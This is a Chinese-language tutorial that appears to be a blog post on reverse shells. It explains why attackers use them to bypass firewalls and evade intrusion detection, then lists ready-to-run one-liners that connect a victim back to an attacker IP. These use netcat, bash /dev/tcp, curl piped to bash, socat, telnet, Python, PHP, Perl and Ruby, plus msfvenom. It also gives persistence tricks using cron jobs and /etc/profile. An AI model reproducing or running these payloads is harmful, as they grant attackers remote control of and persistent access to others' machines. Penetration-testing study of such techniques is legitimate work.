什么是反弹shell
反弹 shell 是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定 shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口。
反弹shell的工作原理
攻击者监听:攻击者在自己的机器上打开一个监听端口,等待目标主机连接。
目标主机发起连接:通过漏洞利用或命令注入,攻击者让目标主机执行一条指令,这条指令会主动连接攻击者的 IP 和端口。
建立通信通道:连接成功后,目标主机将自己的命令行输入输出通过这个通道传递给攻击者。
攻击者执行命令:攻击者通过这个通道直接操作目标主机。
简单点说:A攻击B,A监听自己的某个端口,B主动访问A的那个端口,在A上对B进行命令执行,谁攻击谁监听自己,谁被攻击谁主动访问
为什么要反弹shell
- 目标主机位于内网(NAT 环境)或防火墙后面,攻击者无法直接访问目标主机的开放端口
- 目标主机有防火墙限制入站流量,反弹 shell 利用目标主机主动发起出站连接,而防火墙通常不会限制出站流量
- 目标主机没有固定 IP, 如果目标主机使用动态分配的 IP 地址(例如内网 DHCP 分配),攻击者很难找到目标主机的 IP
- 规避入侵检测系统(IDS)
- 限制攻击者暴露自身位置
利用netcat反弹shell
攻击机开启本地监听:
1 | netcat -lvvp 11451 |
目标机主动连接攻击机:
1 | netcat 121.xxx.xxx.xxx 11451 -e /bin/bash |
利用bash反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1 |
Curl配合Bash反弹shell
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
1 | bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1 |
并开启11451端口的监听。
然后再目标机上执行如下,即可反弹shell:
1 | curl 121.xxx.xxx.xxx|bash |
将反弹shell的命令写入定时任务
我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username>
内的,所以必须要知道远程主机当前的用户名。否则就不能生效。
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)
1 | */1 * * * * /bin/bash -i>&/dev/tcp/121.xxx.xxx.xxx/11451 0>&1 |
将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。
1 | /bin/bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1 & |
当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell
利用Socat反弹shell
攻击机开启本地监听:
1 | socat TCP-LISTEN:11451 - |
目标机主动连接攻击机:
1 | socat tcp-connect:121.xxx.xxx.xxx:11451 exec:'bash -li',pty,stderr,setsid,sigint,sane |
利用Telnet反弹shell
方法一
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | mknod a p; telnet 121.xxx.xxx.xxx 11451 0<a | /bin/bash 1>a |
方法二
攻击机需要开启两个本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | telnet 121.xxx.xxx.xxx 11451 | /bin/bash | telnet 121.xxx.xxx.xxx 19198 |
Python 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("121.xxx.xxx.xxx",11451));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
PHP 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | php -r '$sock=fsockopen("121.xxx.xxx.xxx",11451);exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | perl -e 'use Socket;$i="121.xxx.xxx.xxx";$p=11451;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Ruby 脚本反弹shell
攻击机开启本地监听:
1 | nc -lvvp 11451 |
目标机主动连接攻击机:
1 | ruby -rsocket -e 'c=TCPSocket.new("121.xxx.xxx.xxx","11451");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
使用Metasploit生成反弹shell
我们直接可以使用 msfvenom -l
结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:
1 | msfvenom -l payloads | grep 'cmd/unix/reverse' |
反弹shell后获取模拟终端
我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:
1 | python -c "import pty;pty.spawn('/bin/bash')" |
写在最后
在尝试的时候用自己的服务器给自己的电脑弹了个shell然后删掉了桌面上的文件,把我以为在D盘有备份的数据库实验报告删了,快进到熬夜重写。红温红温红温红温。